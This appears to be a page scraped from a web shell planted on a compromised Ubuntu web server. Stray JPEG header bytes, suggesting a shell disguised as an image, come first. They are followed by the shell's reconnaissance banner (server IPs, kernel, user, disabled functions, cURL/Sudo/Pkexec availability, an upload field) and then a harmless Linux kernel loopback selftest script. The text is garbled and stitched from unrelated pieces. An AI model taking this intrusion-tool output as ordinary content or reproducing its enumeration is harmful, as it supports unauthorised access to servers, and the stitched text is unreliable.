����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 216.73.216.190 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/lib/modules/5.4.0-163-generic/build/tools/testing/selftests/net/forwarding/ |
Upload File : |
#!/bin/bash # SPDX-License-Identifier: GPL-2.0 # Kselftest framework requirement - SKIP code is 4. ksft_skip=4 ALL_TESTS="loopback_test" NUM_NETIFS=2 source tc_common.sh source lib.sh h1_create() { simple_if_init $h1 192.0.2.1/24 tc qdisc add dev $h1 clsact } h1_destroy() { tc qdisc del dev $h1 clsact simple_if_fini $h1 192.0.2.1/24 } h2_create() { simple_if_init $h2 } h2_destroy() { simple_if_fini $h2 } loopback_test() { RET=0 tc filter add dev $h1 ingress protocol arp pref 1 handle 101 flower \ skip_hw arp_op reply arp_tip 192.0.2.1 action drop $MZ $h1 -c 1 -t arp -q tc_check_packets "dev $h1 ingress" 101 1 check_fail $? "Matched on a filter without loopback setup" ethtool -K $h1 loopback on check_err $? "Failed to enable loopback" setup_wait_dev $h1 $MZ $h1 -c 1 -t arp -q tc_check_packets "dev $h1 ingress" 101 1 check_err $? "Did not match on filter with loopback" ethtool -K $h1 loopback off check_err $? "Failed to disable loopback" $MZ $h1 -c 1 -t arp -q tc_check_packets "dev $h1 ingress" 101 2 check_fail $? "Matched on a filter after loopback was removed" tc filter del dev $h1 ingress protocol arp pref 1 handle 101 flower log_test "loopback" } setup_prepare() { h1=${NETIFS[p1]} h2=${NETIFS[p2]} vrf_prepare h1_create h2_create if ethtool -k $h1 | grep loopback | grep -q fixed; then log_test "SKIP: dev $h1 does not support loopback feature" exit $ksft_skip fi } cleanup() { pre_cleanup h2_destroy h1_destroy vrf_cleanup } trap cleanup EXIT setup_prepare setup_wait tests_run exit $EXIT_STATUS